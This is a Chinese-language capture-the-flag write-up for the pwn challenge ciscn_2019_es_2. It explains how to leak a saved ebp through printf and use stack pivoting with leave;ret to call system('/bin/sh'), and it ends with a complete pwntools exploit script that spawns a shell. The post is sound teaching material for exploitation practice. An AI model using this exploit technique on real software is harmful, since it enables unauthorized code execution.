【栈迁移例题解析】ciscn_2019_es_2
Thursday, December 29, 2022
本文共1487字
3分钟阅读时长
⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/%E6%A0%88%E8%BF%81%E7%A7%BB%E4%BE%8B%E9%A2%98%E8%A7%A3%E6%9E%90ciscn_2019_es_2/。商业转载请联系作者获得授权,非商业转载请注明出处!
Self-trust is the first secret of success.
— Ralph Waldo Emerson
原题链接
checksec查看程序架构
$ checksec --file ciscn_2019_es_2
[*] '/home/peterl/security/workspace/ciscn_2019_es_2/ciscn_2019_es_2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
没啥特殊的,注意一下32位就可
ida查看程序伪代码
看起来像是栈溢出,但是read函数限制了读入的字节数,我们看一下栈:
我们发现这时候到return的位置只能溢出一个字,如果这时候程序有一个backdoor函数那就万事大吉。
我们可以找一下,发现了一个hack函数,但这个hack函数完全就是糊弄人的,从中唯一得到的有用信息是system确乎存在于plt表中,这样就不用ret2libc了:
看一下源程序也没有格式化字符串漏洞,我们可以考虑栈迁移
我们只要泄露出ebp,然后再通过第二次leave;ret
就可以将esp更改到我们希望的地方
构建exp
栈迁移的基本思路
我们知道,在call
一个函数的时候,我们会先将下一条指令的地址进栈,再将当前的ebp进栈,然后将当前esp的值赋给ebp,这样就实现了备份下一条指令的地址、ebp原本的值、esp原本的值的作用
然后等到函数结束时,程序会执行leave
指令和ret
指令。leave
指令相当于mov esp, ebp; pop ebp
,意思就是从备份中先恢复esp再恢复ebp;ret
指令相当于pop eip
,意思就是恢复备份的指令地址,这样就能执行函数调用的下一条语句了
那么如果我们更改栈中备份的ebp数据的同时,在程序执行过一次leave; ret
后再执行一遍,那么因为ebp的备份已被更改,所以ebp恢复的就是我们希望的数据,而再执行一遍leave; ret
时,程序是假定ebp中保存的是esp的备份,那么通过这种方法,我们就可以成功地更改esp。
这时我们已经让栈顶指针指向了我们希望的位置,这时由于leave
指令,程序会将我们伪造的栈顶的第一个数据pop
进ebp,然后由于ret
指令再将第二个数据弹进eip中,那么我们就应该在伪造的栈的第二个数据放入system
函数的地址
然后我们就可以当普通的栈溢出构造栈了。
system
后面跟个0,再跟/bin/sh
的地址就🆗了
泄露ebp
我们看到源程序中:
memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
这个s字符数组被初始化为全\0,此时如果我们将该数组所有的位都覆盖为垃圾数据,那么由于数组中没有\0了,它就会把紧跟在s后面的数据一齐打印出来,直到遇到一个\0为止。
这里需要注意的是如果我们使用sendline
函数,程序读入的字符最后会多一个\n,所以这里发送payload应该用send
。同时在payload中使用一个与前面不同的字符做哨兵:
payload = b"a"*0x27 + b"b"
p.clean()
p.send(payload)
也就是说我们只要满足:
- 刚好输入0x28个数据
- 输入的最后一个字符与前面输入的不同
就可以了
那么sendline
函数也不是不可以用:
payload = b"a"*0x27
p.clean()
p.sendline(payload)
用\n字符做哨兵就可以了。
然后我们就可以recv
ebp地址了:
p.recvuntil(b"b")
ebp_addr = u32(p.recv(4))
# 我们可以讲礼貌一点,栈迁移完后返回地址和原来一样
eip_addr = u32(p.recv(4))
开始栈迁移
我们用gdb调试一下,发现当恢复ebp备份值的时候,这个备份值比当时ebp的值刚好多0x10:
那么我们的payload就出来了:
leave_ret = 0x080484b8
# command也可以是cat flag
command = "/bin/sh"
payload = pg(ebp_addr) + pg(m_elf.plt['system']) + pg(eip_addr) \
+ pg(ebp_addr - 0x28) + bytes(command.ljust(0x18, "\0"), encoding="UTF-8")\
+ pg(ebp_addr - 0x38) + pg(leave_ret)
完整exp
from pwn import *
from pwn import p64, p32, u32, u64
# from LibcSearcher import LibcSearcher
pss: bool = False
fn: str = "./ciscn_2019_es_2"
# libc_name:str = "/lib/i386-linux-gnu/libc.so.6"
port: str = ""
if_32: bool = True
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
p = remote("node4.buuoj.cn", port)
else:
if if_debug:
p = gdb.debug(fn, "b* 0x80485FD")
else:
p = process(fn)
m_elf = ELF(fn)
p.clean()
payload1 = b"a"*0x27
p.sendline(payload1)
p.recvuntil(b"\n")
ebp_addr = u32(p.recv(4))
eip_addr = u32(p.recv(4))
success(hex(ebp_addr))
p.clean()
leave_ret = 0x080484b8
command = "/bin/sh"
payload = pg(ebp_addr) + pg(m_elf.plt['system']) + pg(eip_addr) \
+ pg(ebp_addr - 0x28) + bytes(command.ljust(0x18, "\0"), encoding="UTF-8")\
+ pg(ebp_addr - 0x38) + pg(leave_ret)
p.sendline(payload)
p.clean()
p.interactive()
扫码阅读此文章
点击按钮复制分享信息
点击订阅